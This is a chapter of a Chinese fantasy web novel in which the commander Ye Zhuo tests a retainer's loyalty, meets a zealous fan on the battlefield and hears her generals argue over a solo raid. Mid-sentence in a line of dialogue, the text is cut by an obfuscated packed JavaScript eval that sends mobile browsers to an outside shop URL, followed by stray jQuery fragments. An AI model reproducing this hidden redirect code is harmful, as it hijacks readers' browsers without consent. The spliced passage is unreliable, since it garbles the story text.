174. 倚剑长歌一杯酒(5)

作品:《魔道二五仔想攻略我

    妄境内时间流速远比外界快,在这里度过的大半年间,叶酌也在飞速成长,不仅是领兵打仗的能力,布揽全局的眼光,还有心境上的转变。


    她没有过多关注晏行歌的情况,震木王的眼里不能只有儿女情长,而今天,叶酌有一种“该来的终于要来了”的预感。


    “好啊,都退下吧。”几口吃完干粮,叶酌挥退手下,支着下巴看向晏行歌。


    四下无人,晏行歌才走到叶酌身前。


    这半年来,他一直站在叶酌身后,仿佛沉默忠诚的家臣,守卫在家主左右。


    有一说一,这半年叶酌都没敢放松对背后的警戒,生怕这位看似听话的下属来个背刺。


    布下隔音结界,晏行歌从储物袋内取出一张舆图。


    柔软的材质不似纸张,应该是某种动物的皮肤,叶酌脑海中不合时宜地蹦出一句话“这家伙到底喜不喜欢小动物啊”,然而这种无关紧要的好奇心很快就被掐灭。


    晏大公子语出惊人,“这是晏家在东域的库房,内里有充足的粮食布匹、法器伤药。”


    啊这······


    叶酌表情有一刹那呆怔,僵滞的大脑有点不能理解晏行歌在说什么。


    “另外还有解家、柴家、柏家、柯家······只要您愿意,这几家仓库的布防图随时向您展开。”


    晏行歌还在继续,声音里充满蛊惑。


    “您背后的那座城,就有晏家的粮仓,我们可以趁着夜色······”


    他的话未说完,就被叶酌拽到了眼前,踉跄几步稳定住身形后,愕然发现自己与家主的距离过分近了,近到呼吸相交。


    剑茧覆盖的指腹勾住衣服上的配饰,稍稍用力,就将人扯了过来。


    叶酌本是翘着二郎腿的坐姿,现在身体微微前倾,气势远压站着的那人一头。


    晏行歌因为衣衫上饰品被勾住,不得不俯身凑近,纤长脆弱的脖颈暴露在空气中,叶酌愈发觉得那颈环存在感过分强烈。


    她伸手抚了上去。


    温热的指尖触及冰凉的玄铁,指节弯了弯,似乎想拉开来看看颈环下的风景。


    “家主。”晏行歌勉强稳住语调,声音却有点喘,向来端方的大公子狼狈地侧过脸,想避开这突如其来的调戏。


    然而女子并不刚猛的力道,制止了他的退避,“你有事情在瞒我。”


    沉默片刻,晏行歌倏然展开一抹清浅的笑,如微风拂面,和煦祥宁,“确有隐情,但无碍您的安危,相信我,家主。”


    “每一位投靠叶家的附属族都宣誓过,当然,那不属于咒约,没有道法束缚。”叶酌语调缓慢,目光片刻不离对方眼睛,再一次确认,“你承诺过的。”


    “是的,我承诺过。”晏行歌眼眸微阖,凝望着近在咫尺的面庞,一字字吐出效忠时的宣言,“属下会竭尽所能,为大小姐排忧解难,哪怕燃烧干净灵魂。”


    “那我真的······非常感动。”叶酌没有再继续这个话题,她并不需要言语上的效忠。


    “不想说就不说吧,晏家军就驻扎在城外十里地,洗劫城里仓库,军心必定不稳。”家主放开了勾住下属链子的手,另一只手却仍在颈环附近不老实地探索。


    “我不喜欢这个。”她忽然转了话题,目光如流水在那张俊雅的面孔流淌过,说出的话却叫人心跳漏了一拍,“像枷锁。”


    “晏行歌,不要背叛我。”家主的话语有些难以捉摸,“否则我会很难过。”


    指尖顺着颈环边缘划过,像利器授首时游走的弧度。


    危险的动作蓦然停顿,另一只修长白皙的手握住不老实滑动的手指,晏行歌主动上前一步,反客为主,在叶酌惊愕的视线中吻上了她的指尖。


    “真到那个时候,就亲手杀了我吧,家主。”殷红唇角扯起期待的弧度,贵公子的呼吸有些急促,脸上带着病态的薄红,眼睛像刚下过雨的天空,氤氲湿润。


    叶酌脑海里不合时宜地浮现出一句话:绝艳谁怜,天然殊胜,不关风露冰雪。


    “晏行歌,我对你来说,是什么呢?”


    贵公子思考了一会儿,微笑,“您是我与此方世界,最深的羁绊。”


    他表情真挚,宛若注视神明。


    可叶酌知晓,眼前人根本不信鬼神。


    “真动听,那你可千万别做出有损东域之事,不然到时候本王只能挥泪斩爱将了。”叶酌笑眼弯弯,如同盯住猎物的掠食者。


    烛光摇曳,过度的兴奋让大脑有些晕眩,胸腔内有什么即将破土而出,让她很难分辨是杀意还是爱意,或许二者兼有。


    “去休息吧,这些天辛苦你了。”叶家主放开对下属的桎梏,主动退回到安全距离,“接下来几天别跟着了,专心研究下对付魔族的咒术。”


    掀开的帐帘迎入夜风,带来远方的血腥。


    这次,她没再闻到清新的皂角味。


    白骨未销春战血,青磷空聚夜归魂。


    交战地的泥土湿烂泥泞,浓郁的腐臭向上升腾,走在上面的人很清楚脚下踩的是什么。


    叶酌隐以前并没有夜游的习惯,只是到了前线后,多少有些失眠。


    东域士卒在清扫战场,暗红色浸染大地,魔族与人族的短肢交叠在一起,还有一滩滩根本看不出原状的稀泥。


    叶酌清晰感受到心脏紧缩后的痛苦,每天有数以千计的东域人死去,防线被不断拉扯,激烈的时候,三十里地能被双方反复推进,短短几日又是上万人殒命。


    可即便已经死了这么多人,依旧看不到取胜的希望。


    叶酌看见一名老大娘行动迟缓地推着装有尸体的板车,吃力地往新挖的坑走,加快脚步走上前,一只手便轻松帮助对方推出好远。


    大娘愣了愣,瞧见叶酌军服样式,忙跪地行礼,“见过统帅。”


    叶酌忙伸手拦住,帮她把板车推到坑边,顺口道:“这些事就交给我们年轻人来做,大娘您歇歇哈,现在还没到老人孩子上战场的地步。”


    原本只是寻常的安慰,孰料大娘低下了头,小声道:“儿子儿媳都上战场了,再没音讯,我想来到这里,或许有一天能见到他们。”


    叶酌一怔,有些不知如何回答,她伸出手,想拍拍大娘肩膀。


    “王爷,您会带我们赢的吧?您一定会的,对不对?”大娘蓦然抬头,紧紧盯住眼前人,饱含希冀,“我们一家都是您的粉丝,如果是您的话,一定可以的!”


    叶酌的手一下子就停顿在半空,好半天才若有所思道:“所以,他们是因为我······才参军的吗?”


    “是有人跟你们说了什么吗?”叶酌微微垂眸,掩住眸底的冷意。


    “没有,团长还曾下令让我们保持理智,不要轻易踏足这场战争。”


    “但这怎么可能!我们可是您最勇敢无畏的战士!我们对您的虔诚远超青苹果那帮假粉!她们只会在涤尘剑主被门派驱逐时谩骂回踩,却又在涤尘剑主名望再复后簇拥左右,左右摇摆,令人作呕。而我们酒酿不一样,我们会永远站在您身前,为您而战,为您带来无上荣耀!”


    大娘双手合十,目光狂热。


    这一刻,她与东域千万求仙拜佛的信徒并无区别,只不过旁人拜的是虚无缥缈的鬼神,而她拜的是叶酌,由晏行歌亲手打造的东域巨星。


    叶酌从未如此清晰地体会到,自己的号召力之大,不下于王位带给她的权柄。


    不,甚至比直接下令更加有效,毕竟那些附属家族还会阳奉阴违,而这群粉丝却是发自内心地愿意为她献出生命。


    “感谢您们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057029|160750||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的信任。”震木王向大娘行了军礼,面容却格外严肃,“战争非粉丝之间拿来攀比的工具,还请你们爱惜自己的生命,尊重每一名战士,严肃对待这场战事。”


    似乎察觉自己的话说重了,叶酌弯了弯唇,扬起一抹朝气蓬勃的笑,“当然,我也会带你们走向胜利,不是为了什么首领的荣耀,而是为了保护你们,保护东域的每一位子民。”


    此刻,黎明第一束光破开云层,如闪着金光的箭矢穿透迷雾,远山朦胧轮廓勾勒出一层暖色,大娘浑浊的眸子也被点上了明光。


    今天是个好天气,所以叶酌决定只身偷袭魔族大本营,给正面战场的将士减少些压力。


    理所当然,她这个提议压根没经过讨论,就被参谋团毙掉。


    顶着一众下属“您怎么如此任性”的目光,叶酌硬着头皮狡辩,“有一说一,弄死将级魔族对咱们士气提升很大,弄死王级说不定这方战区就是咱们地盘了。”


    “那王爷有没有想过,对方弄死您也一样能轻松取得战争胜利!”


    桌案被重重拍下,将军暴怒的声音在营帐回荡,“您在前线是为了鼓舞士气,不是像个大头兵冲上去跟魔族肉搏,更不是像个刺客潜入敌军腹地搞刺杀!”


    “梁将军,您消消气······”不管怎么说,对于主上说出这样的话,也太过了。


    旁边立刻有将领劝说。


    梁将军却抬手摘下了自己的头盔,目光凌厉地扫视过在座同僚,压低的声音充满威严,“但是!让主上亲自上战场,难道不是我们的无能吗?”


    “因为无法在正面战场打出漂亮成绩,逼得统帅不得不亲身涉险,就为了在失利的正面战场上扳回一城,诸君难道不感到羞愧吗!”


    两句话说得毫不客气,不少将领都沉默地低下头。


    却也有人不服,低声道:“魔族无论从装备还是个人作战素质都远超我们,能打成这样已经不错了。”


    他说话声不大,奈何此刻整个营帐鸦雀无声,就凸显出他的牢骚来。


    众人目光立刻汇聚到此人身上,那人显然也意识到了自己失言,然而被这么多人注视着,又觉得撤回前言没面子,梗着脖子道:“不过实话实说罢了,战损比三比一,到现在防线还没崩,不过是大家拿命在撑着罢了。”


    “羞愧?我为什么要羞愧?我手下的士兵为什么要羞愧?百万将士用肉体凡胎铸就了这道防线不灭的神话!十六旅五千人上了战场只有四百人活着退了下来!七名化神老祖陨落!”


    “我们!需要替什么感到羞愧!”


    他越说越激动,热血冲向大脑,情绪达到顶峰时干脆拍案而起,指着营帐外高声道:“梁将军,你出身世家,要修为有修为,要法器有法器,能够体面地坐在这里,从容劝导主上不该以身涉险。”


    “你可曾想过无依无靠的散修,倾尽全部家当也破不了高阶魔族外皮?可曾见过凡人士兵吃着有上顿没下顿的糊糊,饥肠辘辘地与魔族士兵搏杀?可曾遇到过满屋伤员,却因医师跟药品不足,只能靠身体硬扛的绝望?”


    “梁将军,您也别嫌金某人说话难听,在考虑羞愧这种奢侈情绪前,先想想怎么把战损降下来吧。”金将军气势逼人,压得一众同僚抬不起头。


    梁将军面色阴沉,却没说话。


    金将近虽是散修出生,职务却与他同级,更何况人家说得在理。


    “王爷。”最后,金将军将目光投向面露自责之色的叶酌,凌厉之色转为对小辈的慈祥。


    “不过您确实不该以身犯险,能有您这样的主上,是我等福气。所以,守护好后方,前方战场交给我们。”


    他不喜世家做派,但对新上任的这位震木王是服气的,能站在普通士卒角度思考,不怕危险不怕苦累,有大将之风。